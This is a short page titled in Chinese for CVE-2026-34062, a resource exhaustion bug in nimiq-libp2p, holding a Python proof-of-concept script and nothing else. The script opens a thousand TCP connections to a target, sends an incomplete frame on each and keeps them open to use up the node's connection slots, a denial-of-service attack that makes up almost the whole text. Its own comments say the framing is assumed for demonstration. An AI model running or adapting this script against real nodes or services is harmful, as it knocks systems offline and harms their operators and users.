CVE-2026-34062 nimiq-libp2p 资源耗尽漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34062: Nimiq-libp2p Resource Exhaustion # This script simulates a malicious peer sending partial frames to exhaust connection slots. import socket import time TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 # Default libp2p TCP port or specific Nimiq port NUM_CONNECTIONS = 1000 def attack(): print(f"[*] Starting attack on {TARGET_IP}:{TARGET_PORT}") sockets = [] try: for i in range(NUM_CONNECTIONS): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((TARGET_IP, TARGET_PORT)) # Send a partial frame (e.g., just the length prefix or incomplete header) # Assuming a simple framing protocol for demonstration partial_payload = b"\x00\x00\x01" # Incomplete data s.sendall(partial_payload) sockets.append(s) print(f"[+] Connection {i+1} established and partial frame sent") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print("[*] All connections (or attempts) made. Keeping sockets open to hold slots...") while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Closing connections...") for s in sockets: s.close() if __name__ == "__main__": attack()